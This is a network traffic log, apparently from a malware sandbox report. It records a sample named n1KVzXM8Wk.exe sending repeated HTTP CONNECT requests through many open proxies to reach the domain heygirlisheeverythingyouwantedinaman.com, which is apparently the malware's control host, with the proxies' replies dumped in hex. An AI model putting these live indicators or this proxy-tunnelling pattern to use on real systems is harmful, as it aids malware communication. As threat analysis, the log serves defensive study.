Feb 23, 2024 09:45:27.866378069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866118908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.4	52252	162.214.165.6	42624	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.815413952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.4	51558	154.12.253.232	2763	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.817095041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865715981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.866396904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866075993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.4	52166	103.169.128.152	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.817517996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.355807066 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.4	52221	45.11.95.165	5000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.817730904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.334485054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.832041979 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.4	51463	162.241.46.40	62592	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.819457054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865755081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.866378069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866074085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.4	52207	151.232.18.66	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.819474936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.4	52261	213.133.123.122	3218	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.819598913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.334465027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893665075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.440077066 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.4	52284	170.106.193.128	30001	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.819641113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.4	52274	160.153.245.187	42879	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.840043068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.4	52279	194.34.232.107	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.844374895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.013793945 CET	467	IN	HTTP/1.1 403 Forbidden Date: Fri, 23 Feb 2024 08:45:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 306 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.4	52286	141.94.174.6	24085	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.846023083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.334470034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.4	51582	72.206.181.103	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.856425047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.4	52343	139.180.39.210	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.858196020 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:22.047046900 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.4	52169	139.129.202.244	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.868381023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.238567114 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.4	52195	45.117.179.179	28151	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.868824959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.680598021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.866122961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.975126982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.178400040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.366035938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.475239038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.4	52390	104.21.85.200	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.868885040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.956707954 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.4	52391	198.37.57.112	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.869036913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.967206955 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Fri, 23 Feb 2024 08:45:21 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.4	52370	162.223.94.164	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.869107008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.019803047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.4	51385	140.238.247.9	8100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.869117022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.4	52158	221.224.44.91	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.876413107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.4	51551	91.189.177.190	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.878587008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.377612114 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.4	52339	31.28.4.192	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.880999088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.087304115 CET	488	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 08:45:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 306 Content-Type: text/html; charset=iso-8859-1 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 63 2e 70 6c 6f 6d 62 77 61 79 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 1c.plombway.ru Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.4	52288	186.124.164.213	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.896065950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.4	52243	220.248.70.237	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.903270006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
